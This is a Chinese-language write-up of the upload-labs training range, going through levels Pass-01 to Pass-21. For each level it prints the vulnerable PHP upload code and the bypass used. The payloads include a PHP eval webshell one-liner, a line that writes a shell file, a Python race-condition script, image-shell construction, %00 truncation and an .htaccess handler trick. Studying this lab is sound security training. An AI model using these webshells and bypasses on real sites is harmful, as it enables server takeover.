upload-labs 项目地址:https://github.com/c0ny1/upload-labs
攻略地址:https://www.cnblogs.com/chu-jian/p/15515770.html
https://www.cnblogs.com/henry666/p/17051491.html
https://www.freebuf.com/articles/web/287193.html
整理一下文件上传思路
Pass-01
可以看到,要上传一个websehll上去,但上传区要求上传图片,先看看网页源码,有没有前端过滤。
可以看到表单里有个checkFile的函数,跟进看下具体检查方法
function checkFile ( ) { var file = document .getElementsByName ('upload_file' )[0 ].value ; if (file == null || file == "" ) { alert ("请选择要上传的文件!" ); return false ; } var allow_ext = ".jpg|.png|.gif" ; var ext_name = file.substring (file.lastIndexOf ("." )); if (allow_ext.indexOf (ext_name) == -1 ) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert (errMsg); return false ; } }
可以看到对文件后缀进行了提取,再对比,我们可以抓包改后最绕过,先准备个webshell的图片马
<?php @eval ($_POST ['a' ]); ?>
上传时,抓包
我们把这个改成1.php试试
上传成功,然后可以看下传的文件到哪里去了
路径是../upload/1.php
,然后我们访问一下,看下能不能被访问
可以被访问,拿蚁剑连接试试
攻略中还提到了禁用js的方法,但这种方法有缺陷,因为禁用了js代码,如果在实战中,网站的一些正常功能可能无法显示。当然打靶通关是可以的。
直接禁用,就可以直接上传php文件了,这里
攻略里有个复制源码下来,去除这个js代码的方法,我觉得还是挺新鲜的,可以试试
保存源代码
然后删除判断的js代码
然后修改表单的action为上传目标地址
如果我们打开,是有上传文件的界面,但是不知道要上传给谁。这时我们返回到最开始,右键—检查—网络—然后上传一个正常的图片。这样我们就可以看到这个文件传给谁了。
Pass-02
一样的界面,同样的思路,先看源码
有前端过滤,查看过滤规则,但这个函数的具体内容没找到,先试试简单的改后缀,好像也上传成功了
也访问的到,看看蚁剑能不能连
同样连接成功,看下源代码
$is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ] if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!' ; } }
原来是对mime类型,过滤,按题应该修改mime类型才对,这里我传的图片马,所以不用改mime类型,如果我上传的是php文件
Pass-03 同样的思路走一遍
这里应该是后端对后缀进行了过滤,我们试试双写php,看看能不能绕过
可以看到成功绕过,但路径好像有变化,上传的文件会自动重命名
然后,这样的后缀不懂能不能解析,试试php5
好像是因为没有修改mime类型,再修改mime类型为application/otect-stream
,还是不行,但是变成下载文件了,试试在里面加个命令,看能不能执行,还是不行,我按攻略走走试试。原来是有些东西没开
,我们需要在phpstudy的http.conf文件添加如下一行, 目的是为了让网站能够解析后缀为php5文件, 然后重启phpstudy
phpstudy的apache服务器无法解析运行以.php5,.phtml等非.php后缀的文件的解决方法_php显示fcgidinitialenv无效-CSDN博客
AddType application/x-httpd-php .php .phtml .php5
AddHandler fcgid-script .fcgi .php .php5 .phtml FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000 FcgidMaxRequestsPerProcess 1000 FcgidMaxProcesses 15 FcgidIOTimeout 120 FcgidIdleTimeout 120 # 全局默认使用的PHP版本配置 FcgidInitialEnv PHPRC "D:/phpstudy_pro/Extensions/php/php7.3.4nts" FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .php FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .php5 FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .phtml # 上传文件的最大尺寸 100MB FcgidMaxRequestLen 104857600
主要是不解析的问题,关键是要知道还可以用什么后缀绕过
Pass-04 因为基本都过滤完了,这后面就有点难了,我就直接看按攻略走了
.htaccess
文件是apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件, 可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户访问目录等等。
要注意的是, 当php版本高于5.2.17时,.htaccess
文件上传漏洞就不再存在, 所以说这个漏洞在实战环境下几乎时不肯能存在的
自己新建一个.htaccess文件
<FilesMatch "webshell"> Sethandler application/x-httpd-php </FilesMatch>
.htaccess会改变uploads这个目录下的文件解析规则, 调用php的解析器去解析一个文件名只需包含“webshell”
字符串的任意文件
简单来说, 若一个文件的文件名为webshell.jpg
, 其内容是phpinfo()
, 那么apache就会调用php解析器去解析此文件
上传文件
暂时跳过这关
Pass-05 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
这里代码比较简单,正好练习下php的代码debug,我们把代码复制到phpstom,然后简单修改一下代码
deldot:删除文件名末尾的点
strrchr:查找一个字符串在另一个字符串中 末次 出现的位置,并返回从字符串中的这个位置起,一直到字符串结束的所有字符
strtolower:转换为小写
str_ireplace:去除字符串::$DATA,这个应该是其它数据就不管它了
trim:去除首尾的空格
<?php $file_name = trim (" .123.PHP. " );$file_name = deldot ($file_name );$file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext ); echo $file_ext ;function deldot ($s ) { for ($i = strlen ($s )-1 ;$i >0 ;$i --){ $c = substr ($s ,$i ,1 ); if ($i == strlen ($s )-1 and $c != '.' ){ return $s ; } if ($c != '.' ){ return substr ($s ,0 ,$i +1 ); } } }
下个断点在deldot那,然后可以看到字符串已经被读进来了,单步执行,到deldot函数时,直接步出,可以发现尾巴的点已经没了。
继续执行,可以看到strrchr就是提取后缀的作用,也就是整个串中最后一个点之后的所有内容
然后就是转换成小写
收尾去空没啥变化
构造个绕过参数5.php. .
注意中间的空格,再来调试试试
可以看到去完点空格还是存在的,继续调试
这次提取的就是点和空格了,去完空就剩个点了,而5.php.我们是可以解析的
抓包改后缀
访问也是成功解析了
Pass-06 源码分析
$is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext );
可以看到,这一关与上一关的差别就是没有进行大小转换了,所以我们可以利用纯大小或大小写混合的方法绕过,这里就用纯大写了
这里apahce好像不解析,我用nginx才解析出来了
Pass-07 同样将代码与之前的代码对比
$file_name = deldot ($file_name );$file_ext = strrchr ($file_name , '.' );$file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext );
可以发现,少了trim函数的处理,说明没有对空格进行过滤,我们可以通过添加空格来绕过,直接在文件名微步添加可
访问解析
Pass-08 $file_name = trim ($_FILES ['upload_file' ]['name' ]);$file_ext = strrchr ($file_name , '.' );$file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext );$file_ext = trim ($file_ext );
可以看到这一关是没有去点,所以我们可以通过在文件结尾加个点的方式绕过
可以看到上传成功,访问解析试试
可以成功解析
Pass-09 $file_name = trim ($_FILES ['upload_file' ]['name' ]);$file_name = deldot ($file_name );$file_ext = strrchr ($file_name , '.' );$file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext );
这一关就没有对;;DATA进行替换了,这个又是什么原理
https://blog.csdn.net/weixin_44032232/article/details/109005766
在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,(也就是说,会自动过滤掉文件的后缀名)且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:
“shell.php::$DATA”, Windows会自动去掉末尾的::$DATA变成”shell.php”
所以我们可以在后面加上::$DATA进行绕过
成功上传,访问解析,注意不要连着::$DATA一起访问
Pass-10 这一关以试利用两点中间加空格绕过和Pass-05一样,就不做解析了
Pass-11 $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; }
str_ireplace:https://www.runoob.com/php/func-string-str-replace.html
这个函数的意思就是把后缀和黑名单中的成员对比,一样就给他换成空,所以我们可以用双写的方法来试试
原理就是换了一个php还有一个php,访问解析试试
Pass-12 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
简单分析下代码
$file_ext = substr ($_FILES ['upload_file' ]['name' ], strrpos ($_FILES ['upload_file' ]['name' ], "." ) + 1 );
strrpos:查找 “php” 在字符串中最后一次出现的位置(大小写敏感)
获取文件名称最后一个”.”后面的字符串当作文件后缀
$img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ;
通过GET请求来获取save_path
参数的值, 也就是说这个值是可控的, 若我们将这个值修改成../upload/webshell.php%00
, 也就是在文件名后面添加截断符号%00
,这样做的作用是将截断数据, Windows创建文件时会忽略后面 rand(10, 99).date("YmdHis").".".$file_ext
这行代码, 这样$img_path变量值就变成了../upload/webshell.php
%00
是 URL 编码中的一个字符,它表示一个空字符(NULL 字符)
move_uploaded_file ($temp_file ,$img_path )
将文件的名称修改成webshell.jpg
, 通过这行代码可以将webshell.jpg移动至upload目录, 并将文件名修改成webshell.php
%00
截断法只适用于php版本低于5.3的, 且需要在phpstudy把魔术引号函数magic_quotes_gpc关闭掉,这里环境有点问题,我就拿CTFhub的题目来练习
代码是差不多的,路径都可以不用改,让他生成一个test.php,然后把1.jpg的内容写进去
没报异常,访问也没问题,蚁剑连接也成功了
Pass-13 此关卡与pass-12相似, 但不同的是pass-12的save_path参数是通过get请求获取的, 而这关是通过post请求获取的, get请求传递的参数后端会自动进行解码, 但是post请求传递的参数后端不会自动解码, 因此我们要对截断符%00
进行url解码,解码完看不到东西是因为解码完事NULL,这里环境复现有点问题,就只能看看攻略了
Pass-14
这关任务要求变了,我们先看看源码
function getReailFileType ($filename ) { $file = fopen ($filename , "rb" ); $bin = fread ($file , 2 ); fclose ($file ); $strInfo = @unpack ("C2chars" , $bin ); $typeCode = intval ($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch ($typeCode ){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType ; }
这里会读文件开头的两个字节来验证,所以我们需要在图片马前面加上GIF89a,255216等相应的字节码,这里就测试两种方法
一:制作图片马
copy btest.jpg/b + 14.php/ webshell.jpg
二:添加文件头
注意空行 ,访问解析,解析不了,得配合文件上传测试
Pass-15 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )>=0 ){ return $ext ; }else { return false ; } }else { return false ; } }
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
返回结果说明
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);
image_type_to_extension这个函数的作用是将返回的类型作为拓展名,所以哦我们只要让getimagesize返回的扩展名是争取的即可
所以和Pass-14一样,这里就不作演示了
Pass-16 此关卡使用exif_imagetype()
函数来识别文件类型, 此函数和getimagesize()
的原理差不多, 都是通过读取文件头来判断文件类型和前两个一样,也不作演示了
Pass-17 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =UPLOAD_PATH.'/' .basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagejpeg ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagepng ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagegif ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
imagecreatefromjpeg — 由文件或 URL 创建一个新图象,由于新的图像文件是经过二次渲染后的, 所以我们在图像中布置的恶意代码也会被刷新, 从而导致不能配合文件包含漏洞来解析脚本文件
但是, 二次渲染后的文件并不是所有文件内容都会被刷新, 有一小部分是没有修改的, 我们只需找到这一小部分内容的位置, 然后将代码插入进去, 就能实现绕过,所以我们先上传一个gif文件,然后把访问到的gif文件和原来的文件对比,看看哪些部分没有被修改
开头几乎一样,不同的主要是后面,我们只要在不要破坏文件结构的情况下插入代码即可
重新上传
成功解析
Pass-18 此关卡主要考察条件竞争, 如下代码所示, 后端先将文件上传至网站目录, 然后才对文件进行检验来决定是否删除这个文件, 如果我们在上传文件的瞬间, 也就是文件没被删除的时候, 访问这个文件, 就能实现绕过,就是后台开个爆破,我们去访问这个文件
$is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传出错!' ; } }
所以先上传一个shell.php,然后用bp抓包,因为只要一直请求,所以不用设置什么爆破参数,直接清楚即可
不用payload,一直发包即可
然后用默认的线程数即可
然后发包,用另一个浏览器一直访问18.php地址,只要在上传的一瞬间,他还没来的及删除、修改就可以了。但这里我没有试成功,可能是线程数不够大(后面调成900就行了),这里有看了另一篇文章,试下他的方法https://blog.csdn.net/qq_43665434/article/details/115131927,这个写shell方法还比较好测,看phpinfo()有时候点快了刷新掉了,改一下18.php文件
<?php fputs (fopen ('shell.php' ,'w' ),'<?php @eval($_POST["cmd"]); ?>' );?>
图片有错,一句话得马格式错了,用python写一个请求18.php的脚本,也可以手动刷,这个多刷几次,去连一下试试,这里用下作者的脚本
import requests url = "http://192.168.174.160/upload/upload/18.php" url_2 = "http://192.168.174.160/upload/upload/shell.php" while True: html = requests.get (url) html_2 = requests.get (url_2) if html_2.status_code == 200 : print ("OK" ) break
成了,shell也创建了,我们用蚁剑连连试试
Pass-19 首先创建了一个Myupload类, 并调用了此类的upload函数, 传递UPLOAD_PATH
作为upload函数的参数, UPLOAD_PATH
的值是上传文件的所在目录, 也就是/upload
$u = new MyUpload ($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload (UPLOAD_PATH);
转到upload
函数的定义处, 这里要重点注意setDir
这个函数, 此函数用于设置文件上传的目录,此处有一行代码写错了
function setDir ( $dir ) { if ( !is_writable ( $dir ) ){ return "DIRECTORY_FAILURE" ; } else { $this ->cls_upload_dir = $dir .'/' ; return 1 ; } }
就是少了个/,到时候图片和upload目录就连在一起了
如下代码规定了白名单后缀, 这里要特别注意7z这个后缀, 这后缀浏览器是无法解析的, 当浏览器遇到无法解析的后缀时, 就会往前解析, 要是我们上传文件名为webshell.php.7z
, 那么浏览器就会解析.php
后缀而不会解析.7z
后缀
var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" );
剩下的就是对问文件的属性进行判断了
class MyUpload { function upload ( $dir ) { $ret = $this ->isUploadedFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->setDir ( $dir ); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkExtension (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkSize (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } $ret = $this ->move (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } return $this ->resultUpload ( "SUCCESS" ); } };
具体的操作就是我们把文件的后缀改成.php.7z即可
然后借助文件包含来访问
也可以利用图片马的方式还有条件竞争的方式,这里就不过多演示了
Pass-20
这一关我们可以控制两个param,看看源码
$file_name = $_POST ['save_name' ]; $file_ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (!in_array ($file_ext ,$deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
只对保存名称进行了过滤,所以我们需要绕过的也是save_name,抓包
这里有两种方式绕过,可以%00截断
但之前用过了,这里就不测试了,我们用move_uploaded_file()的另一个特性,会忽略掉文件末尾的 /.
访问解析
Pass-21 这一关白名单 验证过程:
验证上传路径是否存在
验证[‘upload_file’]的content-type是否合法(可以抓包修改)
判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
判断file不是数组则使用explode(‘.’, strtolower($file))对file进行切割,将file变为一个数组
判断数组最后一个元素是否合法
数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
上传文件
首先判断上传的文件类型是否属于: image/jpeg
, image/png
, image/gif
$allow_type = array ('image/jpeg' ,'image/png' ,'image/gif' );
然后检测上传的文件名称是否为数组, 若不为数组, 则使用explode函数将文件名按照“.”进行分割, 并将结果转换为小写, 这个 $file
会是一个数组, 数组的第一项是文件名,第二项是文件扩展名
也就是说如果我们上传的文件名称若为数组, 那么他就不会执行这行代码, 而是继续往下执行代码
if (!is_array ($file )) { $file = explode ('.' , strtolower ($file )); }
<?php header ("Content-Type:text/html;charset=utf-8" );$arr = explode ('.' , "upload . php" );print_r ($arr [0 ]);echo "\n" ;print_r ($arr [1 ]);?>
例如此处我传递了两个数组元素, 分别是save_name[0]=upload.php
和save_name[2]=jpg
end($file)
获取到的就是这个数组的最后一个元素,也就是文件扩展名, 然后对这个扩展名进行检验, 由于我们构造数组的最后一个元素为白名单后缀jpg, 因此能够上传文件
使用 reset()
函数获取数组的第一个元素,即upload.php
, $file[count-1]
的值为空(下面的代码很好解释了此值为何为空), 最终$file_name
的值为upload.php
$file_name = reset ($file ) . '.' . $file [count ($file ) - 1 ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $msg = "文件上传成功!" ; $is_upload = true ; } else { $msg = "文件上传失败!" ; } }
可以测试下上面的流程
<?php header ("Content-Type:text/html;charset=utf-8" );$save_name [0 ] = "upload.php" ;$save_name [2 ] = "jpg" ;print (count ($save_name )); echo "\n" ;print (end ($save_name ));echo "\n" ;print (reset ($save_name ));echo "\n" ;print ($save_name [count ($save_name ) - 1 ]); ?>
我们要改的就是下面的要求
修改content-type 修改POST参数为数组类型,索引[0]为upload-20.php
,索引[2]为jpg|png|gif
。 只要第二个索引不为1
,$file[count($file) - 1]就等价于$file[2-1],值为空
多的我们可以自己新建一个,注意空行就行,访问解析
到这里就结束了,总结一下
防护手段